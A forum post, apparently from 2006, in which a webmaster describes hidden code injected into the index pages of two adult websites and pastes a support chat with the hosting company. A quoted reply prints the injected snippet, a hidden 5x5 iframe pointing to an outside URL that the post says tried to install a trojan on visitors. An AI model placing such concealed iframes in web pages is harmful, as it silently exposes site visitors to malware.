Quote:
|
Originally Posted by Greenie
Is it possible that the trojans hat were on your pages were in the form of or disguised as a counter?
|
Quote:
|
Originally Posted by MrMaryLou
Ok here is the code that was on your pages <IFRAME src="http://www.traffloads.info/out.php?s_id=1" width=5 height=5 style="display:none"></IFRAME> now it was not loading a trojan but only a cookie now I have seen trojans before but never ones that just loaded a cookie and thats the normal thing a counter does.
|
This is exactly what I think the case is, but I promise u I didnt put it there. I didnt submit nor work on my sites for months and when i started again recently I found out that this code was on my index pages and on some of my freesites. This is the transcript from me contacting Webair support.
Thursday, June 29, 2006 4:42:31 PM (6/29/2006 8:42:31 PM - GMT)
Powered by SightMax.
Welcome to Webair, Alex will be right with you.
Alex:
hello, how may i help you?
TinCan:
hi
TinCan:
i was wondering if someone hacked into my server and installed a trojan on a couple of my domains
TinCan:
because i havent been on my sites for a couple months up until a couple of days ago, and when i got on both of them, both of the websites tried to install a trojan onto my computer
TinCan:
so i went in to check the html for the index pages and both of them had an IFrame code that i did not put on there
TinCan:
are u understanding what im saying?
TinCan:
also one of them has a javascript code that i also did not put on there
Alex:
got disconnected
TinCan:
oh ok
TinCan:
i was wondering if someone hacked into my server and installed a trojan on a couple of my domains
Alex:
whats the sites?
TinCan:
www.pornokingpin.com
TinCan:
www.koochieking.com
TinCan:
the sites are pretty plain so the codes were easy to spot
TinCan:
and i know for sure i didnt put them on there because i havent worked on my sites for months now
Alex:
ok. let me check that
Alex:
one sec
TinCan:
ok
Alex:
which file was changed?
TinCan:
both index files
TinCan:
for the main page
TinCan:
the code is at the botton
TinCan:
outside the <body> tag
TinCan:
i mean outside the </html> tag
Alex:
i se the iframe
Alex:
looks like the file was changed today 29th
TinCan:
today?
TinCan:
well i found out about this a couple days ago
TinCan:
i mean the trojan tried to install on my computer a couple days ago
TinCan:
but i didnt check the html codes till today
TinCan:
i didnt change anything on it, all i did was download to view the source
Alex:
hmm i am not gettign any poopups fromyour page
TinCan:
its not a popup
TinCan:
my antivirus popped up and told me that a trojan was attempting to enter my computer
TinCan:
either way the codes are there without my knowledge
TinCan:
juust trying to figure out whats goin on and how it got there, and hoping it doesnt happen again
TinCan:
i dont have much traffic but it dropped by half in the past 2 months, i didnt pay it any mind but now im thinkin thats the reason why
Alex:
i sugeest either reuploading the site or deleting the code - the server itself is not compromized
TinCan:
ok i was guessing that was what i was supposed to do
TinCan:
any suggestions on how to prevent this?
Alex:
do you have any scripts installed?
Alex:
you might want to update them
Alex:
thats usually the issue
TinCan:
yea koochieking.com is running on a script
TinCan:
but pornokingpin.com isnt
Alex:
update the script, reupload index files, if the problem repeates - make a ticket on to
support@webair.com
TinCan:
ok will do
TinCan:
thanks for the hrlp
TinCan:
help
Alex:
no problem, i wish i had a more exact answer to your problem
TinCan:
well your explanation sounds logical, cuz i do remember the script im running needed to be updated
TinCan:
but i havent worked on my sites on months so i havent done that yet
TinCan:
ok well thanks again
TinCan:
ill be in touch if i need more help
Visitor TinCan has ended the chat